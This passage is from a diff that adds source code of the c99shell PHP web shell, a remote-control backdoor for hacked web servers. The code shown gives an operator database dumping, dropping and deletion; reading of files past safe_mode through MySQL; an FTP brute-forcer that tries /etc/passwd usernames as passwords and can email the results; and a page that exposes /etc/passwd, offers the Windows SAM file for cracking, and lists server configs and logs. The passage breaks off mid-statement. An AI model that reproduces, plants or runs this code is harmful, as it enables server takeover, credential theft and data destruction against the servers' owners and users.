value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>+</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "</td></tr></table>"; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>"; + } + echo "</table>"; +} +if ($act == "mkdir") +{ + if ($mkdir != $d) + { + if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";} + elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";} + echo "<br><br>"; + } + $act = $dspact = "ls"; +} +if ($act == "ftpquickbrute") +{ + echo "<b>Ftp Quick brute:</b><br>"; + if (!win) {echo "This functions not work in Windows!<br><br>";} + else + { + function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) + { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) + { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) + { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) + { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else + { + if ($fqb_logging) + { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) + { + $str = explode(":",fgets($fp,2048)); + if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) + { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else + { + $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>"; + } + } +} +if ($act == "d") +{ + if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";} + else + { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) + { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();} +if ($act == "security") +{ + echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>"; + if (!$win) + { + if ($nixpasswd) + { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "<b>*nix /etc/passwd:</b><br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) + { + $uid = posix_getpwuid($i); + if ($uid) + { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";} + } + else + { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (file_get_contents($v)) {echo "<b><font color=red>You can't crack winnt passwords(".$v.") </font></b><br>";} + else {echo "<b><font color=green>You can crack winnt passwords. <a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><u><b>Download</b></u></a>, and use lcp.crack+ ?.</font></b><br>";} + } + if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>View cpanel user-domains logs</b></u></a></font></b><br>";} + if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>View cpanel logs</b></u></a></font></b><br>";} + if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache configuration (httpd.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog configuration (syslog.conf)</b></u></a></font></b><br>";} + if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Message Of The Day</b></u></a></font></b><br>";} + if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";} + function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}} + displaysecinfo("OS Version?",myshellexec("cat /proc/version")); + displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version")); + displaysecinfo("Distrib name",myshellexec("cat /etc/issue.net")); + displaysecinfo("Distrib name (2)",myshellexec("cat /etc/*-realise")); + displaysecinfo("CPU?",myshellexec("cat /proc/cpuinfo")); + displaysecinfo("RAM",myshellexec("free -m")); + displaysecinfo("HDD space",myshellexec("df -h")); + displaysecinfo("List of Attributes",myshellexec("lsattr -a")); + displaysecinfo("Mount options ",myshellexec("cat /etc/fstab")); + displaysecinfo("Is cURL installed?",myshellexec("which curl")); + displaysecinfo("Is lynx installed?",myshellexec("which lynx")); + displaysecinfo("Is links installed?",myshellexec("which links")); + displaysecinfo("Is fetch installed?",myshellexec("which fetch")); + displaysecinfo("Is GET installed?",myshellexec("which GET")); + displaysecinfo("Is perl installed?",myshellexec("which perl")); + displaysecinfo("Where is apache",myshellexec("whereis apache")); + displaysecinfo("Where is perl?",myshellexec("whereis perl")); + displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf")); + displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf")); + displaysecinfo("locate my.conf",myshellexec("locate my.conf")); + displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf")); +} +if ($act == "mkfile") +{ + if ($mkfile != $d) + { + if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";} + elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";} + else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);} + } + else {$act = $dspact = "ls";} +} +if ($act == "encoder") +{ + echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Encoder:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Input:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"calculate\"><br><br></center><b>Hashes</b>:<br><center>"; + foreach(array("md5","crypt","sha1","crc32") as $v) + { + echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>"; + } + echo 